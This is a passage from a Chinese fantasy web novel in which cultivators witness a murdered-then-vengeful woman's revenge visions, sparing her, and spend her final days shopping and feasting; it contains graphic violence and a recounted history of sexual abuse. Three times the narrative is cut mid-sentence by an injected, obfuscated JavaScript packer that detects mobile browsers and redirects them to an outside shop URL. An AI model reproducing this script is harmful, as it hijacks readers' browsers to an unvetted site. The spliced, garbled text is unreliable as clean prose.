身份颠倒,她甚至被逼着去伺候怀了孕的珠儿,照料她的生活起居,动辄便会遭受一番刁难和责骂。 这一出只有四个人登场的戏,看得人遍体生寒。 直到灵火灯再度熄灭,身穿红衣的阮卿依出现在了树下,响指一打,亮起的灯火中央赫然便是一个猪笼,里面关着衣冠楚楚的一男两女。 “这个阮卿依不是本人,是幻象。”孟知匀拉住了迈出一步的孙二娘,低声对她解释了一句。 红衫女子脸色红润、态度从容,坐在秋千上打量着猪笼里瑟瑟发抖的三个人,语调温柔地问道:“你们还记得我吧?” “卿依,你这是干什么?”李望山走到笼子边,满脸都是担忧,“你失踪之后我们找了你很久,担心你在外面被妖魔害死,娘整宿睡不着觉。现下,你既安好无恙,为何不回家?又为何要将我们关在这里?” 阮卿依忍不住笑了出来:“都到这个地步了,你又装模作样给谁看?” “我就算被妖魔鬼怪开膛破肚、抽筋剥皮而死,也好过在你们李家被活活耗死。” “哦,你好像忘了。”阮卿依微微歪头,“你已经死了。” 李望山猛地后退一步,往日种种如走马灯般在他脑中闪过,他却无论如何也想不起来自己是如何被掳到这里的。 薛昱恰到好处地解释了一句:“是禁术中的分魂术,可以在人死后,从刚离体的生魂中撕下一缕,保留其部分意识,通常是妖邪用来折磨人的手段。” 当然,灵火灯下的李望山听不到他的话,只觉得面前的阮卿依格外令人恐惧,仿佛生杀夺于只在她一念之间,不由得便有些打颤。 阮卿依走到猪笼前,看向缩在李望山身后的珠儿和月儿,一字一顿地问道:“我的东西,好用吗?” 珠儿吓得瘫软在地,忙不迭朝她磕头:“姑娘饶命,都是少爷让我们拿的,我们做下人的,若无主子允许,怎敢拿姑娘的东西呀。” 阮卿依捡起一根树枝,在笼前蹲下,拿树枝挑起珠儿的下巴:“我娘的玉佩,不是你砸的吗?” 珠儿的脸色突然变得惨白。 “你的孩子最后好像没保住,”她又看向一旁的月儿,“怎么不问问你的好姐姐,为什么不想你生呢?” “什么?”珠儿不可置信地扭头看向月儿,“你……是你……” 李望山忽然道:“够了!” 他扶着笼子,满眼痛惜地看向自己曾经的妻子:“卿依,你病了,放我们出去,我找最好的大夫给你看病,好不好?” 阮卿依站起身,拿树枝拍了拍他的脸颊,轻声道:“对啊,我会信你的鬼话,嫁进你们李家,真的是病得不轻。” “不过,这么久了,你难道没发现自己身上……少了点什么吗?” 李望山忽然感觉下身刺痛。 他踉跄后退几步,不敢相信地伸手摸去,却只摸到了一手腥臭的血。 12. 拘灵 李望山肝胆欲裂地看着阮卿依,不等他嘶吼出声,一根无形的绳索便紧紧勒住了他的脖子,将他拖行回了猪笼中央。 珠儿和月儿脖子上也同样多了根绳索,却不像李望山那样被勒得脸红脖子粗,还有余力跪下忏悔求饶。 “这绳索叫做拘灵,会逐渐收紧,直至将你们的残魂勒成两段。”阮卿依坐回到秋千上,眼睑微垂,红衫随着秋千晃动,像一朵艳丽盛开的红花。 她用纤细的手指攥住秋千的彩索:“如果想及早解脱,就用血肉去——” “取悦它。” “姑娘,”月儿伸手去抓脖颈上的绳索,眼泪涟涟地求她,“奴婢不明白你的意思,奴婢之前所作所为都是身不由己啊,姑娘你念在我身世可怜的份儿上,就饶过我吧。” 阮卿依没有回答,也没有看他们,轻轻晃动着秋千,开始哼唱起一首童谣。 绳索又收紧了一寸。 珠儿强忍着窒息感,忽然看向蜷缩在一旁的李望山。 他的绳索比她们都要紧,眼下俨然已经奄奄一息了。 用血肉。 要用血肉。 她挣扎着站起来,一步一步走向李望山。 “你……你这个贱人,你要……要做什么……”李望山目眦欲裂,仿佛逐渐走近的不是曾与他欢好的爱婢,而是提着屠刀的活阎王。 “你……啊——” 撕心裂肺的惨叫几乎响彻整片山林,本就脏污不堪的猪笼变得愈发血肉模糊。 孟知匀这次倒没捂薛逢梨的眼睛,而是悄然走到秋千旁,看向那个心绪难辨的红衫女子。 哪怕在此处留下的只是一道幻象,却也显露出了些许天人三衰的迹象。 恐怕阮卿依已经时日无多。 薛昱走到她身旁,恰到好处地用身体挡住了一旁的猪笼:“此处布下的是一个拘灵阵,若我所猜不错,其余人被分离的残魂也四散在阵法别处,直到这些魂魄被一点一点地折磨殆尽,此阵才会停止。” “这也是禁术吗?”孟知匀侧身看他。 薛昱点了点头:“是西漠州邪修惯用的手段。” 看来藏书阁四层还是有点儿东西的,怪不得这二少主天天往那儿跑。 “那我们该如何找到阮卿依?”薛逢梨被猪笼内互相残杀的情景恶心到了,不想多看,便也凑了过来。 “走完整个拘灵阵,或者破阵。”薛昱看向一盏一盏亮起来的灵火灯,“不过,既然她有心为我们指路,倒不必多此一举去破阵。” 孙二娘原本就觉得直接勒死李家人太便宜他们了,如今看着猪笼里三个不成人形、血肉模糊的身影,她只觉得无比畅快。 “二娘。”孟知匀回头叫她,越过薛昱肩头瞥了眼猪笼,“该走了” 孙二娘应了一声,回过心神,赶紧跟了过来。 “仙师。”她有些不安地攥紧了衣袖,悄声问孟知匀,“刚刚那位仙师说这是禁术,那卿依她……” “是邪修。”走在最前面的薛昱顿了下脚步,直截了当地回答她。 孙二娘心神一惊,后背冒出一层冷汗,过了半晌,才试探性问道:“那你们会怎么对她?” 且不论他们修行中人,单是民间,对于妖魔鬼怪和邪门歪道,向来都是人人得而诛之的。只不过他们打不过,所以平日里只能避着。 但是,对于这群出身名门正道的仙师来讲,恐怕卿依这样的人,也应该算在他们“降妖除魔”的范畴里了。 孟知匀等了几息,见薛昱没有再回答的意思,便全凭自己心意回答道:“向她打听一些事情。” “然后呢?”孙二娘愣了一下,小心翼翼地追问。 “然后?”孟知匀摸着下巴思索了一下,目光随着灵火跳动,有些遗憾地说道,“她应该活不久了,到时候……就按照她的遗愿帮她收敛尸体,送她超度往生吧。” 听着这完全出乎她意料的答案,孙二娘有些震惊。 她还以为,这些宗门的仙师们都是眼里揉不得沙子的,抓到卿依之后,就算不用这什么拘灵阵去折磨她,估计也免不了酷刑和拷打,所以她才硬要跟来,想着最后好歹能为卿依求一求情。 “她所行之事,不过是在了断自己的因果,没有滥觞无辜,那自然应该照常对待。”孟知匀拍了拍她的手背,让她安心。 薛昱这时候才插了一句:“不过她凭空长出来的灵脉过于古怪,针对此事,还需仔细调查。” 薛逢梨一直对当初没能察觉到事态真相感到内疚,低声嘟囔了一句:“说不定还有得救呢。” 这话显然安慰的成分居多,就算是修士,也是肉体凡胎,一旦身体出现衰竭迹象,就很难再有所逆转。 不过薛昱和孟知匀谁也没直接打破这个最不切实际的幻想。 万一呢。 孟知匀在心里默默叹了口气,抬头就发现他们已经走到了第二个“聚光灯”下。 阮卿依跪在地上奉茶,坐在高堂上的李夫人却看也不看她,直至儿媳的一双手被茶水烫得通红,她才开口:“你可知你现下所处何地?” “回夫人,是李宅。”阮卿依双臂颤抖,嗓音也因彻夜诵读家规而有些喑哑。 “你还知道你入了我李家的门!”李夫人一掌挥去,直接把阮卿依白皙的右脸打出了一道明显的红痕,盛满了茶水的茶盏也应声落地,洒了她满身热水。 李夫人冷笑道:“不敬夫君,不孝父母,心胸狭隘,争风吃醋,我是做了什么孽,竟给我儿娶了这么个不堪为妇的女人!” 阮卿依仍旧低头跪着,神态麻木,甚至连眼泪都流不出来。 她原也想不到,婆母这样慈善的长相竟也会露出这般狠毒的表情,似乎恨不得活活掐死她。 可是她做错了什么? 他们甚至容不得她争辩。 她实在想不明白,为何婚前婚后他们待她的态度竟如天上地下一般。 “翠香。”李夫人叫来自己的婢女,斜觑跪在地上的儿媳,“看紧她。她犯病了,别让她跑出去丢人现眼。” “是。”翠香比珠儿和月儿年龄更大些,也更会察言观色,自然懂得主子话里话外是什么意思。 别让她跑出去,也别让她好过。 反正外人全当她是疯子。 对待一个外来的、孤苦无依的疯子,那便和对待牲口差不多。 待李夫人离开,翠香走过去,居高临下地盯着眼前清瘦窈窕的女子,不耐烦地说道:“少夫人,请起吧。” 阮卿依的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165238|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿已经跪麻了,只能用烫伤了的手扶着地,一点一点支撑自己站起来。 翠香却猛地踹了一下她的腿肚。 阮卿依本就还没站起来,被她一踹,直接身体前倾摔在了碎瓷片上,身上登时多了几道割伤。 “哎呀,怎么这么不小心?”翠香假惺惺去扶她,却专挑她身上有伤的地方下手,疼得阮卿依差点昏过去。 “少夫人身子太弱了,准是一天天金娇玉贵养出来的,太不济事了。”翠香阴恻恻道,“不如去厨房帮李嫂和王嫂打一打下手,身体健壮起来,才好生养,你说是不是?” 阮卿依没理她,拖着满身的伤,一瘸一拐地走去厨房。 李嫂和王嫂正在嗑瓜子、说闲话,见不受人待见的少夫人走过来,二人对视一眼,暗骂道:“晦气。” 往日里夫人没少让她来灶上帮忙,可这少夫人哪做过厨房里的活计,什么都要她们现教,平白误了用饭的时间,让她们狠狠吃了老爷的一顿挂落,还整整扣了一个月的月钱。 这哪里是少夫人,分明是扫把星。 王嫂一眼就看到了阮卿依手上和身上的伤,嗑着瓜子道:“哎哟,这是在哪弄的?” 阮卿依当然知道她们不怀好意,干脆低着头不答。 二人白了她一眼,一边故意派她去做重活、粗活,一边指桑骂槐,甚至连她已经过世的父母都未曾逃过二人的诽谤咒骂。 不等阮卿依发难,一盆冰冷的井水就劈头盖脸泼了她一身。 “少夫人满身的伤,”李嫂拿着盆,单手叉腰站在门口,“得赶紧清洗清洗,不然伤口发脓了,那可不好了。” “我不看了!”孙二娘终于忍不住情绪崩溃地大哭了出来,“我不要看这个,卿依,你出来,你……” 孟知匀这次没阻止她哭喊,只是看向树下那盏灵火灯,灯火晃动了两下后便熄灭了。四下的黑暗和寂静里,只有孙二娘的哭声回荡不息。 她远远低估了李家人恶的程度。 他们分明每一个都不是人,每一个都要把这个孤苦无依的弱女子往死里逼。 “二娘。”微哑的嗓音陡然出现,止住了孙二娘破碎的哭腔。 灵火灯没再亮起来,阮卿依远远站在黑暗里,叹了口气:“别哭了,都过去了。” “过不去,怎么可能过得去?”孙二娘从未如此痛恨过自己。 是她带阮卿依去了李家,是她说李家人良善,是她以为李家可算良配。 她竟一点没有看出来,那李宅竟是个吃人不吐骨头的地.狱。 在钟灵郡的那半年,她还因为懦弱而不敢忤逆她娘,就那样留她一个人孤苦无依地待在李宅,甚至连求救都被当成了疯话。 她该有多绝望。 “正如你们亲眼所见,府上任何人都可以对我动辄打骂、刁难苛待,挨打时他们会让我裹上棉被,以免留下伤痕被外人察觉,甚至,李夫人命我为她守夜,然后将我打晕后送至李老爷榻上。后来,家丁和马夫也获得允许,可以随意对我进行侵犯。” 阮卿依语气平淡,仿佛在讲述的是另一个不相干的人,最后才笑了一下:“所以,我把他们都杀了,并取出残魂拘禁于此,令其在猪笼中自相残杀,让他们自己将其最后一缕生机斩断。” 13. 逛街 “敢问仙师,我犯下此等杀孽,是否罪该万死?”女子微哑的嗓音几乎要散在夜色里,传到人耳朵里却仿佛重逾千金。 灵火灯已经全熄灭了,寂静漆黑的山林里唯有风吹草木的婆娑声。 “你觉得你罪该万死吗?”薛昱遥遥看向阮卿依的方向,语气是惯常的淡漠,仿佛问出来的不是生死罪孽,而是“你今天吃饭了吗”。 阮卿依低笑了一声:“他们罪有应得。” “我押上后半生的寿命,就是为了让他们身死魂消。我不觉得我有错。” “那便无罪。”薛昱清透的声音回荡山林,仿佛一锤定音,令在场众人都有几息的沉默。 “我们前来不是为了抓你,更不是为了杀你。”孟知匀斟酌着开口,“只是你的灵脉涉及到修行秘术,我们得探查清楚。” 阮卿依身体衰竭得厉害,站了一会儿后就头晕腿软,只能伸手扶住一旁的树干,勉力回答道:“那日我在半夜找机会跑了出去,本想回到晚堂县,却因体力不支在半路晕倒,醒过来时发现自己躺在一个山洞里。” “一个戴着桃花面具的人告诉我,他已经身体衰竭,即将不久于人世,所以想利用他的残躯做一个尝试——将修士的灵脉移给凡人。” “他问我,是否愿意以自身性命做赌注,来赌他能够成功。”阮卿依自嘲般笑道,“我这条烂命,哪里还有值得眷恋的地方呢?哪怕逃回晚堂县,说不定哪一日便被他们抓回去了。于是,我答应了他。” “如你们所见,他成功了,我得到了他的灵脉和修为。” 凡人的身体难以承载灵脉,强行移植后也不能吸纳天地灵气进行修行,只能以躯体的本身的精气血肉来供养灵脉,耗尽精元后便会枯竭而死。 薛昱握紧了雾凇,隐秘地以目前所在地为中心,向外探出了数十道灵气,嘴上却不咸不淡地说道:“此乃逆天而行。” “对,所以我活不了几天啦。”阮卿依扬起唇角,仿佛真心实意感到欢欣,“大仇得报,也算是善终。” “那个给你灵脉的修士呢?”虽然孟知匀感觉她所言非实,但还是顺着她的话问了下去。 “死了。”阮卿依答道,“我将他葬在了那个山洞旁。” “具体地点你还记得吗?”孟知匀微微蹙眉,总觉得这件事的事态发展不是很对劲。 阮卿依的手指扣进了树皮中,静默了片刻后才道:“如果我说不记得呢。” 孙二娘察觉到眼下气氛格外紧绷,刚想劝说阮卿依配合仙师们探查,就听到薛昱说道:“那此事就到此为止。” “你寿命不超过三日,还有什么未尽之愿?” 阮卿依愣了一下。 她想过自己的拒不回答会带来怎样的后果,无非是严刑拷打,又或者是拿二娘来威胁她,如果真到了那种地步,她告诉他们也无妨,反正她已经习惯了被误解、被怨恨。 她早就对这世间失望透顶,甚至对于来生也无甚向往。 就算落下个魂飞魄散、不得往生的下场,她也不在乎。 但是他们说:“到此为止。” 仿佛昨日种种,真可以既往不咎。 “请你们好好把二娘送回家,然后将我的尸骨烧掉,洒在这片山林里吧。”她回想起那日在槐树下为她烧纸钱的女子,语调不由得温柔了几分,“这就是我的遗愿。” “卿依!”孙二娘不管不顾地往她的方向走了几步,得亏被薛逢梨眼疾手快地拽了一把,这才没一头撞在松树上。 薛昱则收回了向外探查的灵气,对孟知匀摇了摇头——此地除了他们几个,并无别的修士。 孟知匀明白他的意思,转而问阮卿依:“没有别的心愿吗?” 阮卿依背靠着松树,缓缓坐下:“没有了。” 话音刚落,孟知匀突然打了个响指,点燃了周遭的灵火灯,将此地映照得如同白昼,唯独给阮卿依待着的地方留下来一片阴影。 坐在树下的女子已经头发花白,原本柔嫩白皙的肌肤变得灰败,被附近突然亮起的灯晃得眯了下眼睛,再睁开眼时就看到有人伸来了一只手。 孟知匀不知何时便如微风般飘到了她面前。 “既然没有别的安排,剩下这两天,和我们一起‘偷得浮生半日闲’,怎么样?” 阮卿依看着她伸过来的右手,眼眸微动,感觉自己荒芜沉寂了许久的内心,居然蠢蠢欲动地冒出了一颗新芽。 她已经芳华不在,甚至感知到了死亡带来的腐朽,但是她鬼使神差地握住了那只手。 掌心温暖、干燥。 竟会有人,在她生命尽头的凛冬中,企图为她带来一场春雨。 * 钟灵郡的秋日并不萧索,由于地处北方,街巷旁边的树木往往四季常青,于深秋时节倒别有一番意趣。 孙二娘哥嫂在钟灵郡居住,所以她身上常带有路引,无须为进城烦扰。孟知匀几人身上则带有钟粹山的弟子腰牌,并且凭借宗门名头成功“刷脸”将阮卿依一起带进了城。 刚一进城,薛昱便长臂一伸,在路上拦住了孟知匀,挑眉问道:“那我呢?” 这人一路上用他的雾凇御剑,进城时还把他推出去和戍卫交涉,然后颇有一副用完就扔的架势,看也不看他,四人说说笑笑地就要去街上闲逛。 他觉得自己在她那里,估计和雾凇的地位差不多。 孟知匀有点诧异地看着他。 她还以为二少主这种不怎么喜欢理人的大美人更喜欢自己待着,没想到他居然还需要自己来安排,一时有些犯难,犹豫地问道:“师兄,你也不想和我们一起在城内逛街吧?” 挺好,问都没问他一句,说起来就是他不想。 薛昱垂着眼睑看她,深潭一般的眼里眸含着点看不清的情绪,然后冷冰冰地笑了一下:“那我先回去了。” 寒风冷飕飕地吹过来,孟知匀打了个冷颤,趁人转身就走前,赶紧一把抓住他的手腕:“据说钟灵郡的茶楼很有意思,里面有人说书,师兄可以前去喝茶,傍晚的时候我们去找你,好不好?” 毕竟她们四个人一起在街上闲逛已经很扎眼了,身后若是再跟着个薛昱,那效果可想而知。 北凛州向来民风奔放,女子若是在外遇到钟情的郎君,可以当街扔手绢或者绣球,含蓄地表露自己的心意。 她可不想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165239|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候被薛昱连累,让她们珍贵的逛街时光被手绢淹没。 见薛昱半晌不说话,孟知匀心里有点没底,生怕他真就这么一走了之,便捏了捏他的手腕:“师兄?” 薛昱漠然抽回手:“傍晚,去品闲居找我。” 孟知匀松了口气,满嘴打包票:“肯定的,那我们先走了。” 目送着四人离开的身影,薛昱低头看了看自己的腕骨,上面似乎还残存着她掌心的温度。 他心里莫名其妙有些烦躁,又想起了在静水谷捡到她的那天。 浑身脏兮兮的少女像一只奄奄一息的猫,蜷缩在他怀里,偶尔会拿脑袋蹭他,呓语般叫着她的母亲。 思索间,他身上的寒意更重了,加上背着的两柄剑,让许多因美色而驻足的女子都不敢轻举妄动,反倒一路畅通无阻地走去了品闲居。 另一边,孟知匀正心如刀割地奉献出自己的存款。 阮卿依在一块衣料前驻足。 孟知匀微笑:“买。” 薛逢梨看着糖葫芦走不动路。 孟知匀微笑:“买。” 孙二娘看上一对儿雕刻精致的沉香木簪子。 孟知匀仍旧微笑:“买。” …… “师姐,你今日是不是太破费了?”薛逢梨见自己平日里省吃俭用的师姐今日颇有豪气干云的气概,心里有些惴惴不安。 孟知匀的心在滴血,脸上却维持着完美的微笑,摸了摸她的脑袋:“没事,难得带你们来城里玩,想买什么就买什么,开心最重要嘛。” 不就是区区几百文吗。 区区几百文! 但是看着阮卿依穿上新衣服,戴着刚刚挑选好的簪子走出来,孟知匀舒了口气,感觉自己这钱花得也挺值。 四人沿着街巷慢悠悠地闲逛,孙二娘看到糖人摊子,开始讲自己小时候的趣事。 “那是我第一次跟我娘来钟灵郡,她去一个大户人家给人送猪肉,我就在人家门口等着。那时候正巧有个走街串巷的小贩卖糖人,问我要不要买。” “我在平松县哪里见过这种新奇玩意儿,自然是要买的,但是我那时候身上没钱,便央他先给我做,等我娘出来了再付钱。但是我怕我娘骂我乱买东西,就让她按照我的描述,做了个我娘模样的糖人,谁知道那人——” “画的很差吗?”薛逢梨好奇地问道。 “不不不,”孙二娘摆摆手,苦笑道,“是画得太好了,简直是活灵活现,连我娘手里拿着杀猪刀时露出的杀气都分毫毕露。然后我娘出来后,一把夺过那个糖人,狠狠地摔在地上踩碎,追着我和小贩打了两条街。” “为什么连小贩也要打?”阮卿依有些不解。 孙二娘“嘿嘿”一笑:“我小时候也不知道,还以为是我连累了那小贩。等我后来再来钟灵郡,偶尔在路上又遇到了他,这才知道,原来他年轻时和我娘相好过一段时间,但是后来我娘嫌他窝囊不上进,转而嫁给了隔壁的屠户——就是我爹,结果年纪轻轻就守了寡。那人看我小时候和我娘长得像,这才特意过来要卖糖人给我,是故意埋汰我娘呢。” 剩下三人都忍不住笑了出来。 14. 彩头 “哎,前面怎么围了那么多人?”孙二娘踮起脚尖,在人头攒动的街巷上卖力往前看。 薛逢梨手里拿着半串糖葫芦,闻声也瞥了一眼:“前面……似乎是腾云楼。” 孟知匀护着身边的阮卿依和孙二娘,让二人不至于被人群冲散,听到腾云楼,忽然想起今日似乎又到了每月的“会员日”。 腾云楼是盛朝官方把持的当铺,在五州各郡县皆有设立。在里面既可以拿天材地宝、灵器秘术等换取钱财,也可以用钱购买这些凡间不易得的灵物。不过进行交易前,来者须得拿出身份证明进行登记,严禁匿名私下买卖。所以,对于修士和凡人来讲,这都是一个值得信赖的交易平台。 每月初八,腾云楼都会举办“知音会”,将一些不算珍稀的灵物拿出来做彩头,次次都惹得楼前人满为患。 毕竟,在寻常日子里,这些看似不起眼的东西或许在民间也能卖出个不俗的价格,有羊毛谁会不想薅一把呢? 所以每逢知音会,不止是凡人,街上来来往往的修士也爱去凑个热闹。 孟知匀摸了摸自己瘪掉的钱包,回头看向几人:“怎么样,想去腾云楼看看吗?” 再逛下去,她真要倾家荡产了。 孙二娘从小就是个爱热闹的,自然双手双脚赞成,阮卿依和薛逢梨当然也无不可。 几人便见缝插针地从人群里一路挤到了腾云楼前。 “感谢大家今日捧场,”一身蓝衫的掌柜走出来,先朝围了一圈的百姓作了个揖,满面含笑,声音洪亮,“不过今天的知音会,咱们换个玩法——” “以往的抽签啊,凭的是手气,今天咱们改用射箭,凭本事。” 他大掌一拍,几个伙计便将一个挂了许多红绸木牌的大靶板抬了出来。 “这木牌上写着的,便是咱今日的彩头,诸位都是小店的老朋友了,自然识货,我就不多费口舌介绍了。”掌柜抚须而笑,指了指靶板,“只要射中木牌上方的红绸带,便可将牌子上所写之物带走,一人只可尝试一次。大家若是准备好了,只管去伙计那边登记,以先后次序入场。” 孟知匀挤过来时就眼疾手快地抢占了个好位置,所以掌柜的话音刚落,她就拉着几人直冲登记处而去,气也不带喘地将弟子腰牌拍在了桌子上:“钟粹山,孟知匀。” 负责记名的伙计接过她的腰牌,象征性地瞅了一眼,笑道:“孟姑娘,今日怎么有闲心来参与‘知音会’了?” 孟知匀往常没少替薛腾跑腿儿卖灵药,所以在腾云楼也混了个眼熟,一来二去,伙计们也不再生疏地叫什么“仙师”了,来往之间颇有几分熟稔。 “难得有空,带师妹和朋友来逛逛,正巧遇上了,便来试试。”孟知匀往旁边挪了挪,以便后面的薛逢梨登记。 “那今儿可是来得巧了!这批‘彩头’都是云梦州的东西,在咱北凛州算是稀罕物。”伙计手上不停,挑着几样有趣的向几人大致介绍了一下。 阮卿依几人听着有趣:“倒都是没怎么见过的。” 今日这场知音会虽说要射箭取物,但是规矩没规定得太死,毕竟北凛州剑修、刀修居多,绝大部分人都不擅弓箭,所以最后无论过程,只要射中红绸,就可以拿走木牌上写着的东西。 排在孟知匀前头的是个碧玉年华的少女,看起来有些弱不禁风。她没去拿弓,而是直接从箭筒里取了一根箭出来,然后对着靶板比划了几下,素手一掷,竟是将箭直接稳稳地扎进了红绸里,引得围观群众一阵叫好。 “当真是人不可貌相,这姑娘腕力不俗!” “这不是桂花巷李寡妇家的女儿吗?听说她娘身体也不好,这丫头从小看起来就病歪歪的,没成想,竟是个有本事的。” 一个伙计跑过去取下木牌,将对应的盒子递给她:“这是您的桃花碧玉簪,戴着对滋养身体有好处。” 少女收下盒子,淡淡应了一声,便快步走下台了。 孟知匀上台后,先大概将今日的彩头看了一遍,觉得没什么特别感兴趣的,便挑了个“青鸾铃”,想着这种漂亮的小玩意儿指不定回宗门后能卖个二手,让她回回血。 一旁的群众见是一个背着剑的女子上了台,一个个都伸长了脖子。 钟灵郡邻近钟粹山,平日里在此活动的修士不少,剑修尤甚。 但是剑修素来来去匆匆,神龙见首不见尾,颇有点不染凡俗的神秘感,所以在场众人还是头一遭看见有剑修公然抛头露面参与他们民间的玩乐,一时之间都有些好奇,想见识一下修行中人的手段。 孟知匀既没去拿弓,也没去拿剑,反而飞身从一旁的树上摘了片叶子下来,随后手指猛地发力,叶子便如出弓之箭般直直飞了出去,钉在了红绸上。 “好!” 旁观众人皆是喝彩。 “不愧是仙师,今日得见‘摘叶飞花’之妙,算是不枉我看这一遭热闹!” 伙计将盒子捧来递给她,因知晓其修士的身份,便没有多嘴介绍。 孟知匀走下台,把铃铛取出来摇了摇。此物声音清脆、做工精美,其上还有一只青鸾鸟绕铃而飞,估摸着能倒手卖个二三两。 她心满意足地将青鸾铃随手挂在了腰间。 台上的薛逢梨则老老实实拿了弓箭去射。她小时候跟玉露长老学过一些人间的“六艺”,但是久不用弓,早就手生了,所以准头不行。好在箭还是射到了红绸上,只不过并非她原本中意的那个。 孟知匀在一旁等她,眨了下眼睛,问道:“是什么好东西?” “玲珑鼓。”薛逢梨打开盒子,从里面拿出一个小巧的拨浪鼓,随手一晃,这鼓便自行摇出了一段悠扬的江南曲调。 “挺有意思的。”孟知匀笑道,“以后等哪个师兄师姐有了孩子,你便拿这个去逗一逗。” 薛逢梨也笑:“那我定然是宗门里最受小孩子喜欢的。” 二人谈话间,阮卿依便走了上去。她如今姿色不在,像个年逾四十的妇人,拿起箭来却是一发即中,赢得了满堂彩。 随后上台的孙二娘则不知道从哪拿出来一个弹弓,又从路边捡了块石子,最后稳稳打中了红绸,拿到了想要的东西。 阮卿依等在一边,待孙二娘走下台,便将木盒里的暖玉梳递给她:“这块暖玉可以温养身体,眼看要冬日了,你平日里用一用,可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173726|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防范风寒。” 孙二娘愣了一下,接过玉梳,也从盒子里拿出一管玉笛:“今日听你说小时候曾跟你父亲学过吹笛子,正巧看彩头里有这个翡翠玉笛,便想拿来送你。” 没想到彼此竟想到一处去了,二人相视一笑,眼底都泛出点泪意。 孟知匀看了一眼天色,带几人在街上吃吃喝喝地闲逛了一会儿,又在市集上买了点菜,这才踩着夕阳余晖赶去品闲居。 霞光斜照,薛昱倚在茶楼门口,正低着头不知在想些什么。 往来路过的人不免都要多看他一眼,却迫于此人周遭寒意透骨,竟无一人胆敢上前攀谈。 孟知匀却隔着老远便对他挥了挥手:“师兄!” 薛昱闻声抬起头,看到四个人大包小包地朝自己走来,眼皮猛地跳了跳。 “去。”他将一股灵气注入剑柄,雾凇剑便“唰”的一下出了鞘,直冲四人而去,吓得路过众人一哄而散,生怕这几人当街斗法波及自己。 带着凛然寒气的雾凇转瞬就到了几人身边,然后稳稳地浮在空中,不动了。 孟知匀看了看薛昱,又看了看雾凇,忽然福至心灵地将自己挎着的菜篮放到了剑身上。 雾凇绕着她飞了一圈,然后又停在了阮卿依身边。 刚刚被吓回铺子里的众人忍不住探头探脑,感觉自己今日算是大开眼界了。 江湖传闻不是说剑修爱剑如命吗,怎么这人居然把自己的剑拿出来给人驮东西? 几个在楼上看热闹的剑修更是要昏过去。 这是什么?这可是雾凇哇!它是用来干这种事情的吗? 换做他们自个儿,天天把这绝世名剑供起来都觉得怠慢了,恨不能日日夜夜拿天地灵气养着! 这薛家二少主,当真是个狂傲之人! 阮卿依有些为难地看向孟知匀:“这不太好吧。” 孟知匀正不知作何回答,身后忽然传来一把清凛的嗓音:“没事,它喜欢干这个。” 雾凇剑身上的霜更厚了几层。 * 在天色没彻底暗下来之前,一行五人,以及驮着几大包东西和一大篮菜的雾凇,抵达了阮家小院。 孟知匀张罗着要做火锅,支使着几人劈柴、刷锅又切菜,最后成功在院子里架起来了一个热锅子。 钟粹山弟子的口味向来比较清淡,水煮菜里随便加点调料就能吃得有滋有味。 孟知匀自己则是个重口味,看孙二娘和阮卿依也喜欢吃辣,便把自己花了九文从市集上买来的辣酱拿了出来,调了三碗蘸水。 一顿饭下来,几人俱是心满意足。 “师姐,你这是从哪学来的手艺?”薛逢梨捧着碗问她,“是从你家里那边吗?” 薛昱正拿着烧火棍拨弄柴禾,闻言手臂一定,也竖起了耳朵。 孟知匀此人来历成迷,据说生于中州一个偏远村子,父母过世后便来投奔了钟粹山。虽然她说辞中多有不合理之处,但是掌门和长老们只当其中另有隐情,见其心性澄澈,便也不多询问。 孟知匀愣了一下,随后浑不在意地点了点头,笑道:“对呀,这是我娘教我的。” 15. 红线 薛逢梨知道自家师姐是父母去世后才来钟粹山的,闻言便不再多加追问,只是拿起筷子给她夹了一块肉。 孟知匀看她这副小心翼翼、生怕揭人伤疤的模样,忍不住想笑,只能低头吃了两口菜。 几人吃完饭后简单把屋子收拾了一下,然后薛昱便往廊下一坐:“你们睡吧,今晚我守夜。” 阮家清贫,只有一间正屋和一间厢房。 五个人,两间房,还是一男四女,的确也只能这样了。 毕竟,就算是正屋的床,最多也只能挤下三个人,屋内也没有多余的床褥可以供人打地铺。 孟知匀将面露难色的几人推回房间,然后在薛逢梨身边躺下,火速进入了睡眠。 自从她下山起,除了逛街买东西时的扣款通知,系统没再给她安排任何待办事项,寂静如鸡,让人非常满意。 * 夜半。 孟知匀轻手轻脚地披衣起床,打算去替薛昱守半宿的夜。 结果她刚打开门,一只通体漆黑、额上流转着银色符咒的鸟便从天而降,砸到了她跟前。 而坐在廊下的薛昱正有一下没一下地抛着一颗石子,远远冲她挑了下眉。 